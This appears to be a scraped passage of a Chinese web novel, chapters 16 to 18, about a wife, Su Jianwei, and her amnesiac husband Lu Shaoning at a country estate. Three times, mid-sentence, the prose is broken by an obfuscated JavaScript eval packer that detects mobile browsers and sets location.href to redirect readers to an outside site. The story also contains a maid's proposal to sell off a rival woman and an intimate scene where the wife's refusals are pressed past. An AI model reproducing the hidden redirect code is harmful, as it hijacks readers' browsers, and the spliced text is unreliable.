刚要看完,便觉肩头里衣好似不舒服,伸手摸了摸,好像是抹胸的绳子断了。 她起身去箱子里拿了件新抹胸出来,转头看看陆绍宁,正背朝这边专心记着什么,他能静,之前半个时辰他都不曾动过位置,她觉得就这么点时间,他应该也不会起身。 于是她没专程跑去浴房,就到床边,脱下衣衫,将里面抹胸脱下来,换上新的。 抹胸的绳子要穿好几道,虽熟悉,却仍然繁琐,正背手系着绳子,身后传来声音:“要不要帮你?” 她回过头,竟见陆绍宁正站在她身后。 心中顿时一惊,只觉脸都开始烧起来,也不知道他站了多久,她连忙将绳子系好,立刻拉起衣服将身体遮住,一边整着腰带,一边回道:“不,不用。” 因为心里慌张而手忙脚乱,系了一半才发现里面一层衣服还忘了套上,又去套衣服,陆绍宁走过来将掉在背上的衣服领口递给她,笑道:“慌什么,为夫哪里没见过?还亲过。你身后那个胎记怎么好像淡了些?” 两人成亲之初,确实也夜夜温存,那个时候能看出他对新婚妻子的身体是着迷的,确实时时流连,寸寸亲吻,只是时间久远,这些事他不提她还真忘了。 她说道:“后面我听说有淡胎记的方子,试着用过,但搽了好久也只淡了一点点,那膏药也不便宜,就没搽了。” 陆绍宁从身后抱住她,将下巴贴着她那胎记的位置道:“为什么要淡?那么好看。你没听过文身刺青吗?市井有人专门在身上文身刺画,我之前见过一个在臂上文苍鹰的,不提那种凶恶的印象,单看那文身还挺好看。” 苏见微知道,但这些人多是市井无赖、街头混混,再或是军中武人,学来一些蛮夷习俗,为彰显不凡,但她不是,而且…… 她带着几分无奈苦笑道:“他们说状似乌鸦,总是不好。” “什么乌鸦,我看着像青鸟,‘瑶台有青鸟,远食玉山禾’,‘蓬山此去无多路,青鸟殷勤为探看’,多美?”他轻声道。 苏见微不出声。 他突然道:“我怎么记得这话我和你说过?就是成亲五六日之后。” 是说过,那时候两人略微有些熟悉了,晚上温存时,他说要燃着灯,她不愿意,他非要,磨蹭半天,便将她衣衫脱了,露出了那让她爹娘觉得不详的胎记。 她十分窘迫难受,他却并不在意,说像什么乌鸦,不像,像书上的青鸟,那是神鸟,西王母的信使。 那个时候她好欢喜,在他的怀抱与亲吻中化作一滩水。 后来一切都变了,这些久远的记忆她也都忘了…… 苏见微理好了衣服,有意打散这亲昵暧昧的气氛,问他:“不看书了么?” 陆绍宁道:“陪我出去走走吧,还没去外面转过,困在院子里都快困出病了。” 这几日,他去过最远的地方就是在院子里走了走。 苏见微问:“你身上的伤没事?能走吗?” “当然能,腿也不怎么疼了,走慢点就是了。” 她觉得一直憋在屋里是不好,正好此时太阳要落山,天不冷不热,可以散散步,便扶了他出门去。 他们住的别院里种了几棵月季、金银花、桂花,湘妃竹,花木常见,但错落有致,离了院子,是一片菜地,打理得当,瓜果累累,再往外,却是天地宽广,视野辽阔,入目一片稻田的翠绿,生机盎然。 陆绍宁说道:“你不必扶着我,我能走。” 苏见微便将扶他的手松开,他将她手抓住。 她稍稍一抽,没抽开,说道:“被人看见不好。” “怎么不好,难不成谁还敢来你我面前说三道四?”他一边说着,一边执意抓着她的手。 她无奈,只好不与他争辩了。 几只白鹭飞上天,两人都看向远方,见那几只白鹭飞向前面起伏的山峦,那里夕阳西下,红霞漫天,好似仙境。 “真想一辈子待在这里,就伴着这青山绿水,稻田菜园,这么闲适安稳地过一生,入土为安。”陆绍宁道。 苏见微回道:“你也就说说而已,你才不是那样的人,连休沐都比别人少的人,怎么可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593832|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归隐田园?你最想的应当是出将入相,紫袍玉带,与你祖父一样建功立业,光耀门楣。” 陆绍宁咂摸着她的话,觉得真是如此,他不是那种闲云野鹤的人,而是立志鹏程万里的人。 笑了笑,他道:“要不怎么说‘近不过夫妻’,还是夫人了解我。” 说完他问:“那夫人呢?是想归隐山林悠闲度日,还是想待在京城,做诰命夫人?” 苏见微想了想,作为女人,其实她很少想这个问题,因为女人的选择太少。 女人的一生只有一件重要的事,就是嫁人,从此命运便被那个所嫁之人主宰。 无论小时候在睦州,或是长大了回京城,她都知道自己会嫁个官宦之家,也许是读书人,也许是富贵闲人,但无论嫁给谁,她不想变得和她所见的妇人那样庸俗。 每日只是打扮,买丝绸,买金银,三两一群开始说那个不在场的人的闲话,说来说去也都是后院那些事; 回来与夫君拌嘴,一边对夫君不满,看不惯妾室,一边又敢怒不敢言,于是开始无休止的抱怨、数落,一心想着儿子大了、出息了给自己出气,可当家作主的到底是父亲,儿子大了,也并没有出息,自然也不敢忤逆父亲的。 那个时候的妇人已经成了婆婆,她终于将目光投向了一个能让自己占上风的人,便是儿媳,于是她开始调教起儿媳来,成了一个让儿媳诅咒的恶婆婆。 她不想过这样的一生,她梦想中,该嫁一个人中龙凤的男子,两人心有灵犀,志趣相投,她会永远站在他身后,陪他度过风雨,而他也不做那高高在上的夫君,知晓她的不易,为她撑起另一片天空,他们会用自己喜欢的方式度过一生。 可是后来,她一步一步成了那个自己很恐慌的形象,她就是那些庸碌妇人里的一员,甚至还不如她们,她们不高兴了还能和丈夫拌嘴,她们好歹还有安身立命的儿子,自己什么也没有。 苏见微看着远方无奈道:“夫唱妇随,我想又有什么用?” “可日子是两人过的,你若喜欢这里,我们时常过来又有什么不好?或者等我五十就退仕了,我们就搬过来。”陆绍宁说。 苏见微摇摇头:“我不在乎去哪里,若有一心一意相伴的人,一同喝粥拌咸菜也好;若是同床异梦,相看两生厌,就算做诰命又有什么意思?” 陆绍宁听后更加握紧了她的手,沉默半晌,站定,看着她说道:“娇娇,那含嫣姑娘的事,我实在不知道是怎么回事,但此时此刻,我只想告诉你,我要和你一心一意,一生一世,我们就做那样的夫妻,谁都不要背弃,好么?” 苏见微的心不由自主被撩拨,被触动,她开始想:真的吗? 他真的这样想?若他真的这样想…… 她低头一笑:“你若这样想,我自然不会辜负。” 但他已然再没有年轻时的诚挚,她也就只能割舍,然后放下。 16.第 16 章 隔天苏见微叫来了庄头,将账上问题一一指出,庄头几乎要跪下,连连认错求饶,苏见微让其补齐款项,小惩大戒,陆绍宁在一旁做着自己的事,仿佛已经置身事外的老东家,将权力全交给苏见微。 庄头走前,又小声道:“夫人在京城想必是见多了奇花异草的,先前说那株兰花如今还放在我家里,我将它用土培了,却听说这花娇贵得很,怕还是会给糟蹋了,要是夫人得空,不知能不能将这兰花收了,也算给它一条活路。” 账本的事过去了,庄头确实假报霜灾,倒也并没有吞太多银子,总体还算实诚,对佃农也厚道,苏见微没准备将他怎样,便应下这事。 庄头连忙道歉,一回去就将兰花和剥好的兔皮拿来了,兔皮完好无损,雪白无一丝杂毛,哪怕去市集卖也是上好的货色,但苏见微向来不太在意皮毛鸟羽的,总觉得富人爱美,伤的却是生灵的性命,她却当真一眼就看上了那兰花。 庄头也算用了心,这兰花很少见,墨绿的长叶,桃粉色的花开成一串,十分秀丽好看。这兰花被带着土挖起的,庄头养在土钵里送过来。 陆绍宁见苏见微看那兰花,知道她喜欢,说道:“这是什么兰,我却没见过。” 苏见微道:“我也没见过,但我好像在书上翻到过,大约是竹兰,耐寒喜阴,春夏秋都可开花,但少见。” “拿盆将它养了,到时候带回家里去,放在窗边。”陆绍宁说。 她也这样想的,当下放了手上事便去找盆,找碎瓦粒,挖树林下土、塘泥,绑了衣袖,蹲在院子里当场将兰花种好。 陆绍宁喜欢看她做事,她能坐在桌边安静抄半本书,工工整整如同刻印字,一个错字也没有;也能给女儿煮绿豆百合汤、做红豆南瓜汤圆,让她多吃两碗饭;还能蹲在院子里,任纤纤玉指沾满泥土,一道一道工序种好兰花…… 她是那种清丽的鹅蛋脸,眉目如画,清透如婴儿的眼眸,自有一种恬淡的气质,让人看见她便忘却烦恼,好似隐居山林,再不必过问红尘凡俗。 但这样一个女子,却又十分聪慧明理,朝廷的事、家务的事,她都能明白、安排好,让他觉得他不是在养伤,而是在庄子上冶游玩乐,颐养天年。 过两日,新大夫来了,这大夫已有七十高龄,却还精神矍铄,鹤发童颜,在附近极有名望,苏见微正好在京城就听说过他,因此也十分满意,让大夫顺便替陆绍宁把把脉,好好看看什么时候能完全恢复。 老大夫道:“伤势没问题,大人恢复得很好,再养个把月几乎就不影响起居了,至于这记忆的事……难说。 “大人算是十分幸运的,老朽跟着父亲做学徒时也见了一人,在山上被石头砸中,外伤也很快好了,没伤到眼,却瞎了眼,这一瞎便是二十多年。” 陆绍宁问:“二十多年才好?” “不是,他三十多受伤,五十八过世的。”老大夫答。 原来是二十多年后人死了。 陆绍宁陷入沉默,苏见微问:“先前有大夫说兴许养着还会有别的问题,我们一直注意着,倒没出现别的问题,后面还会有么?” 老大夫道:“确实有可能,但这些日子都没事,当是不会了。” 苏见微松了一口气。 换好药,送走大夫,陆绍宁看着窗外,神色稍有萧索落寞,她见了,劝说道:“老大夫说得对,你受那么严重的伤还能好好恢复,已算莫大的幸运了,其余的事别想太多。” 陆绍宁抬头看她道:“我是在想,也许待我回京,不一定能官复原职了,兴许又被发配回翰林院,从头做起。” 苏见微温声道:“就算翰林院,也是许多人梦寐以求的地方,遍观史书,哪怕那些名留青史的能臣干吏,哪位又是一路青云直上?还不都是起起落落。 “夫君给小七取名‘明舒’,说望她心境‘光明宽广’,那夫君自己便要做到心境光明宽广,做了自己该做的,富贵贫贱,无所畏惧。” 陆绍宁一笑,拉起她的手贴向自己的脸,才要开口,外面传来欢笑声,苏见微连忙将手抽出。 小七从院外跑进来,咯咯笑着,小石头在后面追她,两人在玩闹。 小七到窗边道:“爹娘,看我的毽子!”说完将手上的鸡毛毽给两人看。 苏见微拿起毽子认真看了眼,问:“谁给做的,做得真好。” “厨房的张妈妈,鸡毛是我捡的。” “我就说怎么这样好看,原来是小七挑的,五颜六色的,你把最好的鸡毛都挑来了吧?” “石头哥哥也帮我一起捡了。”小七又说。 苏见微看向那小石头,黑黑瘦瘦的小子,小石头一进这院子就开始紧张起来,尤其看见陆绍宁也在看他,他想起家中爹娘的教导,连忙上前道:“见过老爷,见过夫人。” 他没行过礼,人也紧张,做得手足无措,陆绍宁没说话,苏见微笑道:“我这里有桃子,你吃不吃?” 说完去屋里拿了两个桃子来给他。 他接过了,捧在手里,却不敢马上吃。 小七见惯了这些,看不上,和苏见微道:“娘,你看我踢毽子你看。” “好啊,我看看,你能踢起来吗?”苏见微问。 小七一副被小看的模样:“当然啦,我能踢三个!” 说着就开始笨手笨脚地踢,苏见微在一旁看。 陆绍宁在屋中看着,想起自己中进士那一日,也只得母亲轻轻一个点头,回道:“高中只是开始,许多状元及第也不一定有所建树,你不可沾沾自喜,还须谨慎前行。” 他只好收敛起所有的兴奋与得意,回了一个“好”。 是的,他没能中状元,也没能中三鼎甲,他只是进士科第十七名,但是……放眼京中,与他一同念书的世家子弟,如他这么年轻就中进士,也就他一个。 妻子的身上,有他曾渴慕多年的母亲的温柔。 这时小七将毽子递给苏见微:“娘,你踢。” “我?” 小七说:“莺歌姐姐说你会踢。” “可我都好多年没踢了。”苏见微小时候也是个好强的女孩子,那一阵周围好友迷上踢毽子,她踢得不好,便不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598425|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘心,每日勤学苦练,倒真被她练出一手绝技,不只会普通的接踢,还会许多花样。 奶娘与丫鬟小红也在旁边,都起哄着让她踢。 陆绍宁也说道:“踢吧,我还没见过你踢毽子呢!”说着从椅子上起身,到了屋外,站在门口。 苏见微便笑着接了毽子,开始踢起来。 她一踢,那毽子竟不落地,惹得周围人频频叫好。 苏见微便得意起来,起了炫技的心,开始后踢,转踢,得了一阵欢呼声,最后跳踢,却没想到毕竟多年没碰,技艺生疏了,第二次踢的时候偏了些,毽子飞出去,正好打在陆绍宁身上,被陆绍宁接住。 他笑着将毽子扔向小七:“现在看明白谁是此中高手了,改日让你娘教你。” 小七跑去拽住苏见微:“娘现在就教我吧。” 苏见微正要回话,陆绍宁道:“你先和他们去玩,你娘要扶我进屋了。” 小七有点怕他,很快就应下来,不再缠着苏见微,奶娘意识到主人要静养,让孩子在这儿吵闹不好,便马上与小红一起将孩子们带走了。 苏见微去扶陆绍宁,问道:“怎么了?不是自己可以走了吗?” 陆绍宁的确可以走,不只可以走,还快步回了屋,一回屋就难耐地抽了口气,一手撑住床沿,缓缓坐下,皱眉道:“你怎么那样大力气,我觉得我八成肿了。” 说话间额头都冒出了冷汗。 苏见微心中一紧,连忙问:“怎么了?你……头疼?我做什么了?” 他两腿动作僵硬奇怪,深吸两口气缓解疼痛,随后才道:“不是头,你替我解下衣带,被你那毽子打到了。” 苏见微半晌回过神来,才知道他说的什么:他刚才被毽子打到了,而且正好打中…… 厉害啊,刚才他表现得平静镇定,竟一点都没让人看出打疼了。 不知怎么,她只想笑,但他吃痛得厉害,好似还很担心被踢伤,她只好替他将衣带解下,由他自己去检查,自己扭开脸去憋住笑。 陆绍宁看了,没伤,却只是疼,大概得缓好一会儿才能好。 一转头,又见她肩膀一耸一耸的,笑得停不下来。 向来少见她笑,第一次见她笑得这么开心竟是这种时候。他板起脸,略有委屈道:“有那么好笑么?” 见他发现了,苏见微也不藏了,一边笑着一边转过身来替他将衣服穿上,却还是憋不住笑,回道:“谁叫你运气不好,这也能撞到,这样看你最近确实走霉运,改日有机会得去庙里拜拜,去去霉气。” 陆绍宁看她还在笑,威胁道:“待我好了,定要好好办你,让你如此幸灾乐祸。” 苏见微便再笑不出来了,马上敛了笑,微红了脸,默不吭声替他将腰带系好。 他发现在别的事情上他倒是丢失了六年,父母不在身旁了,升官了,有了女儿,但在某件事上,还与他记忆中一样的,便是她一逗就脸红,看他也不好意思,脱衣服也不好意思,闺房中非要熄灯,仿佛还在昨日。 有心逗她,他便凑了过来,亲了亲她的唇。 17.第 17 章 她果然更不自然了,连忙就将他腰带弄好,扭开头去,看着要起身离开。 他不干,索性拽住她,再次亲过来。 先前全身都是伤,只顾着疼,现在伤慢慢好转,不那么疼了,偶尔便开始有些绮思,其实早就按捺不住,想有些肌肤之亲。 苏见微还试图离开,他越发来了兴致,一手搂住她,含住她的唇,将舌挤进去吸|吮。 她显得有些无措,呼吸凌乱。 个中滋味倒是一点没变,他吻得享受且投入,觉得又回到了那新婚燕尔初尝云雨之时,沉溺在其中无可自拔,恨不得将妻子的身体探索个遍。 直到入夜,苏见微躺在床上,想起傍晚的亲吻还是觉得心悸不已。 原来她并没有完全的死心,她还是会心旌荡漾,会欢喜愉悦,有种无法自制的感觉。 她开始想,如果陆绍宁一辈子也恢复不了记忆呢? 从前她想的是,待他伤好,不管有没有想起来她都会告诉他他们已经说定了和离,然后让他写了和离书,她带着小七离开。 但现在,无论是现实,还是她的心境都变了。 首先可以预料,他不会同意,他将她看作最信任亲近的人,也看重小七,他不会让她们走;如果她说他流连青楼,已有外室,他说不定会马上承诺,“我再不去青楼,遣退外室,从此洗新革面”。那时她又将如何? 和离在什么时候都不是个好选择,尤其对女子,她回苏家必将受冷眼,所以她想的是回睦州外公家。 可回睦州就真的好吗?一个和离的女人,又将遭受多少闲言碎语;外公外婆年事已高,待得他们驾鹤西去,她又将何去何从? 纵使她略有资财,可保自己和小七一世温饱,却也仅仅是温饱,为免坐吃山空,她们一定要节衣缩食,吃穿用度上自然是比不上现在的。 其实对她来说一切都好,最重要的是小七,她的人生几乎还没开始,明明有身份,有父母,却硬带她走,做一个没爹的孩子,将来她是做许氏女,还是苏氏女呢? 所以,她要瞒下这事吗?和离的事似乎只有她与陆绍宁知道,永兴好似也从未和陆绍宁提过那外室的事,就当这一切都不曾发生,埋在心里,继续和他这样相伴着过一生? 她一边清楚地知道自己内心已倾向留下,一边又替自己扼腕,觉得自己又在得过且过,为了一时的安稳,放下了尊严与傲骨,变得那样没出息。 忍不住长长叹了一声气,翻身侧睡。 陆绍宁却似乎被她这一声叹息吵醒了,过来拉住她手,迷糊道:“睡不着吗?我抱着你。”说完果真从身后将她抱住,然后睡去。 耳畔传来绵长均匀的呼吸,她躺在他怀中,的确温暖,安稳,觉得一切都那么好。 可是,内心却更迷茫了。 隔天上午,苏见微拿了篮子去地里摘金针菜,准备让人连同其它蔬果一起带去相国寺给婆婆,小七见了,也颠颠跑过去,一同摘金针菜。 金针菜有着黄色的、百合一样的花朵,小七喜欢,摘得很开心。 “萱草生堂阶,游子行天涯”,“砌有忘忧草,对之还断肠”,苏见微轻声吟出两句诗,朝小七道:“这萱草、忘忧草,都是金针菜的名字,人们说它吃了能忘记忧思,也说若孩子出门了,在家中种满金针菜,能减轻娘亲的思念,所以这金针菜是意指娘亲的花。 小七听了半天,最后拿出一朵花来:“那我把这朵花送给娘亲。” 苏见微见了一笑,接了那花:“谢谢小七,小七这就懂了,真聪明。” “那有爹爹的花吗?”小七问。 苏见微想了半天,回道:“也许是椿树?” “那哪里有椿树呢?” 一旁莺歌回道:“椿树要等春天呢,正好香椿芽也能吃,等来年春天,小七再来摘香椿芽。不过现在倒也可以先送一朵金针菜给爹爹,祝他早日痊愈。” 小七觉得莺歌提醒得好,她又挑了一朵大的,往院子里跑去。 待她走远,莺歌小声道:“夫人,今日派人去城里,要不要我也一同去,顺便把那叫梁蓁的女人作个安排?” 苏见微看向她,问:“怎么作个安排?” 莺歌本就特地挑了在外面的机会和她说这事的,此时四下无人,她低声道:“找个人牙子,将她卖了,或者嫁了,嫁远一些,找不到人就是了。” 苏见微又看她一眼,陷入沉思。 她知道这种事对高门大户来说再正常不过,主母看不惯奴婢妾室,找个丈夫不在的机会,将人发卖,丈夫回来了找不见人,除了发顿脾气,也不能如何,卖了就卖了。 “她是良家,轻易发卖不了。”苏见微提醒。 莺歌道:“就说大人不要她了,找个人寻一处人家,将她嫁过去就是了,就算永兴他们知道,还敢去告夫人的状不成?再说我看大人对夫人温柔体贴,眼下是不知道这事,若是知道了,说不定比夫人下手还快,马上让永兴去办了。” 莺歌这倒说的是真的,失忆后的陆绍宁简直不再是他,若知晓外室的事,兴许还真要将人打发。 莺歌见她不说话,继续道:“夫人还犹豫什么?这样好的机会,何必留着那人让自己心里膈应?” 苏见微抬起头来看向她,想了片刻,摇摇头:“我心里是膈应,却不是因为她,而是因为早已没有夫妻情分的夫妻身份。我知道按你说的会做得很好,就算他有一日想起来,事已成定局,也不能怎样,只是那不是我,我不想做那样的人,你明白吗?” “难道夫人等着她登堂入室?”莺歌反问。 苏见微回道:“你放心,不会有那一天的。” 因为在她登堂入室之前,她就已经和离了。 莺歌却不知她所想,只是问:“夫人已经有了其他对策?” 苏见微笑了笑:“算是吧。” 莺歌知道劝不动她,只是叹息,又说道:“要是夫人不想脏了手,等大人好了,早点生个男孩也是一样的。” 苏见微没回话,她在心里想:最好不要吧,真又有了孩子,又是男孩,就算和离他也不会让她带走的,而她又受不了骨肉分离之苦,也受不了将自己的孩子交给后娘,只会更加被束缚住。 她低头看手中的花,忘忧草……如何才能不忘忧呢? 回房时,陆绍宁在给小七讲故事。 讲的是二郎神劈山救母,小七听了一会儿,说道:“我想去外面玩了。”说着就要出门,正好遇到从外面进来的苏见微,高兴道:“娘,你给我讲故事吧。” 陆绍宁看出来了,女儿不是想去外面玩,而是不想听他讲故事,却不好直说,还委婉表示要去外面玩。 他无奈问:“怎么不让爹爹讲?娘才回来,让她休息一会儿。” 小七又回来,有些不自然,小声回道:“你和娘讲的不一样,我听不懂。” 陆绍宁哑然失笑,只好说道:“那等会儿让娘来讲,我也听,学会了再给你讲。” 小七点点头。 苏见微将金针菜拿进来,走近了,一眼就看见陆绍宁面前放着本书,上面又有批注。 她立刻上前,果然,正是日前在管家手上寻来的一本《太平广记》。 《太平广记》不是什么少见的书,许多书坊都有刻印,但版本众多,这一版为青莲堂版,据说依据某本手抄稿刻印,与她之前所见的版本也有许多不同,她便收了来准备抄录,谁知又被他拿去了。 她心中一急,连忙将书拿回来,翻了几页,发现他动作快得很,竟又批了小半本,不禁嗔怪道:“你怎么又在我书上乱写,我就这一本,不许动的!” 陆绍宁反驳:“什么叫乱写,明明是批注。你又没说,我之前也……” “那是我忍住没说你,哪想到你又弄了一本。谁要你批注了,你要批注也去我抄的书上批注,这个原本是要保存好的。”苏见微不悦道。 陆绍宁倒没见她这样生气过,也没这种被她劈头指责的经历,心下想,之前没看出来,她脾气也挺大。 半晌到她面前,讪讪道:“以后我不动就是了,我手上也有些孤本,要不然待回去了你去我书房找,看得上就拿,我赔你三本怎么样?” 苏见微回过头来。 对任何读书人来说,藏书都是珍品,特别是某些别处寻不到的绝版或是手稿,自家有,便是一种书香门第的荣光。 陆绍宁读书多年,家中藏书必定不少,以前她和他不说话,也不想主动招惹,倒没进过他书房,如今他这样说,她还真动了心。 她回道:“不要你的藏本,我抄来就是了。” “无妨,你若喜欢原版就拿去,我倒更喜欢你的笔迹,你拿走原版,给你的手抄本给我,我更欢喜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602847|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平白得好处,又得了夸赞,苏见微不悦的心被他抚平了,脸上露出笑意。 陆绍宁见她笑了,低头凑到她面前问:“不生气了吧?” 一边说着,一边忍不住捏了捏她脸颊。 苏见微一抬眼,看见女儿正一动不动眼也不眨看着两人,连忙将他手拨开,轻咳了一声。 小七鲜少见到两人离得这样近,所以十分新奇。 陆绍宁想起来女儿还在桌边,便又坐过去,朝苏见微道:“其实你这样想,我好歹还是个进士,替皇上写过祝词,如今是四品官,以后升作丞相也有可能,有我作注,倒给这书抬了身价,百年之后说不定你这藏本还会因我的亲笔批注而被追捧。” 苏见微笑,想说他大言不惭,又想了想,他说的还真有些道理。 甚至不说百年之后,也不说他日后又做了大官,就说现在他的论点、他的言辞也确实有见地,若真有人去翻看,指不定还是冲着他的批注去。 她撇撇嘴,开口道:“那你也写一本,身价更高。” “等我老了,在家逗孙子时就写。”他说。 苏见放好了书,回头道:“那我等着,看是不是有那一日。” “当然有,到时候你也替我抄书。” 她回道:“那不是辱没了咱们陆大相公吗,陆大相公出书,什么国子监,弘文馆,还有各大书院书坊,自当争相印书,自有精工巧匠忙活,哪里需要我来抄。” 陆绍宁看向小七:“你娘损起来人来也是十分刻薄啊。” 小七不知听明白了没有,就在一旁咯咯笑起来。 苏见微问她:“小七中午想吃金针菜么?给你做?” 小七却摇摇头,看着手上的花朵道:“不要?” “为何不要?你不是喜欢看吗?”苏见微问。 小七回答:“我喜欢看,可是不喜欢吃啊,这个一看就不好吃。” 陆绍宁回到小七身边,说道:“小七可真明白,这菜不好吃。” 苏见微不高兴了,朝他道:“没你这样的,她本就挑食,你还帮腔。” “挑食怎么了,我的女儿,她想吃什么就让她吃,若天天只吃山珍海味也吃得起。”陆绍宁抱了小七道。 小七在一旁道:“我不要吃山珍海味,只要喝绿豆汤,多加一点饴糖,贵吗?” 陆绍宁道:“不贵,想吃多少吃多少,爹能让你吃一辈子。” 小七笑着和他道:“爹爹,我给你戴花怎么样?戴了花让你快点好,因为它叫‘忘忧草’。” “好,你戴。”陆绍宁说。 苏见微转眼看过去,就见陆绍宁坐在椅子上,低着头,小七坐在他腿上,认真将手上那朵黄花往他发间固定。 这一幕,让她十分动容,突然间觉得这好像正是自己梦想中的日子,她舍不得放开。 陆绍宁与小七午睡时,她到偏房去,叫来了永兴。 永兴进门,恭敬道:“夫人叫我?” 苏见微坐在屋中,神色平静,问他:“听说咱们屋后巷子里,住了个大人认识的人,名叫梁蓁?” 永兴很快低下头,目光躲闪,有些心虚道:“是……是。” “大人受伤后,没向你问起过她?” 永兴连忙摇头:“没有,大人早就不记得这茬了。” “你也没同大人提过?”她问。 永兴立刻回答:“也不是什么重要的事,大人不问,小的怎么会提起,眼下不是大人好好养伤最为要紧么?” 永兴是个机灵人,苏见微也知道他是宽自己的心,陆绍宁专门将人养起来,自然不会觉得那姑娘不重要,他只是都忘了而已。 只是她没必要去拆穿这些,而是平静问:“据你所知,大人有在那边放钱么?还是隔段时间给些日常开支?” 永兴马上作保证一般地认真回答:“没放钱,外面的人如何能信得过?只是给月例而已。” 苏见微也不探寻此中真假,问:“那这些日子大人伤了,是不是没人给那边送钱了?” 永兴有些汗流浃背,其实这事他告诉了他娘,虽然交待他娘别说出去,但他觉得他娘一定说出去了,既然说出去,传到夫人耳中也不意外。 只是夫人突然将他叫来,神色平静问这么多,他不知道夫人目的,十分局促紧张,半晌才回:“那自然是没人送吧,反正小的没送过。” 18.第 18 章 苏见微拿出一只钱袋来:“你将这些钱送去,就说大人这段时日顾不上,给她先度几日。” 永兴有些错愕,不明白这是怎么一回事。 但这应该不是大人吩咐的,而是夫人自己做的。 可是为什么呢? 他想了好久,只能想到这是一种仁义:夫人没有趁机处置梁姑娘,但也没有主动告诉大人还有梁姑娘等着,而是花钱养着,等大人的伤恢复了再说。 同时还有一种隐性的安排:若大人不主动问,他也不必主动说。 永兴犹豫片刻,接过了那钱:“是,小的明日便去。” 永兴走后,苏见微坐到窗边,看着外面的竹影,久久发呆。 不知坐了多久,一人捂住了自己的眼,她一惊,忙去拿掉眼前的手,那分明是男人的手,也自然是陆绍宁的手。 他将手松开,笑道:“躲在这儿想什么呢?” 苏见微不知他什么时候来的,敛下心神,回道:“只是随便坐坐,你怎么这样快就醒了?” “伤口不怎么疼了,也就不那么虚,整天想睡了。”他一边说着,一边凑过来想亲她。 她佯作没注意,只是认真问:“小七还睡着吗?” 他只好停下来,回道:“睡着。” “我去看看,之前睡着时给她盖了被子,今日天热,怕她热出汗来。”说着就离开。 陆绍宁看着她离去的身影,若有所思。 入夜,苏见微又如往常一样,习惯性地与陆绍宁隔了些距离,背朝他侧睡下。 他在黑暗中看了她一会儿,过来将她拥住。 “你讨厌我吗?”他问。 她回答:“没有。” “那你是还怪我?因为那含嫣的事?” 这下她没声了,她确实是想到了梁蓁的事,还有往日一些事,或者说从来没忘记过。 “我也恼恨我不记得,无法向你解释,我也担心我真的那样的荒唐过,和她有什么……但你不能看看眼前的我么?别这样对我。” 苏见微忍不住回过身来,她不知道自己是不是已经决定当和离的事不存在,只是此刻,她也关心他,不希望他难过。 她安慰道:“我怎样对你了,我每日侍候你,对你还不好么?” “你不亲近我。”他说。 “你还伤着,还能怎样?” “我好多了。” “你别胡闹。”话音才落,她倒吸了口气。 他一边又亲她,一边将手隔了衣料探过去。 这对她来说太陌生,但偏偏她不是处子身,她也曾和他亲热缠绵,彻夜欢好过,而眼前人是她的丈夫,是她心底放不下的人,比起未经人事,又多了一份渴慕。 她马上将他手腕拦住,想要拽开:“你身上还有伤,头上的伤又没愈合,别乱来。” “没乱来,难不成我伤了头,连手也不能动了?”他凑近她道:“往日我们多久一次?这些日子光侍候我养伤,你不想么?” 想什么呀,她早都和他分房了! 她力气没他大,又不好用力,死活拽不开他,被他挑拨着,心里十分气恼,急得想哭:“你别这样。” 一边说着,一边伸手去推他。 他却道:“当心,我肩上还有伤。” 于是她不敢推他了,他亲了亲她耳朵,轻声道:“别动。” 她先咬紧唇,随后大口呼吸。 “你……你好好睡不行么?” “不行,想到你怪我,我就睡不着。” “我没怪你。” “那你就别拒绝我,你想让我碰,我也想碰你。” “我没想。” 听到这话,他突然轻笑一声,气息吐到她脸上,在她耳边沉声道:“你撒谎。” 黑夜中,苏见微的脸如火一般烧起来,这若是灯火通明,一定能看得到她红透了脸。 怎能这样,所以和离的事是彻底作废了吗? 万一他以后想起来呢? 她咬唇闭上眼。 反正她也拒绝过了,反正一天不和离,他们仍是夫妻。 总之脑中杂念不断,却又没有太多闲隙去想,只是一点一点冒,又不知何时,她发现自己拽着他的手已经松开了,又去推了推,发现推不动,于是她认命了,不挣扎了。 他却掀了被子起身,移到了床尾。 没过多久她便起身,躲去浴房清理换洗。 回来时已新换了亵裤,陆绍宁坐在床上,眉眼带笑看着她。 她不敢直视他的目光,想到就算新婚那阵也不曾这样过,脸上红绯仍然没退。 他在床上吩咐:“给我倒碗水来漱口。” 听他说要漱口,她脸更红了。 于是沉默着倒了温水给他端过去。 他看着她笑,喝下水漱了口,待她熄灯上床,便又将她抱住。 她这会儿不去推了,竟有种“拿人手短”的感觉。 就这么眼睁睁看着自己节节败退,然后沦陷。 “娇娇,你声音真好听。” 她窘迫得将他嘴捂住,嗔声道:“别说了。” 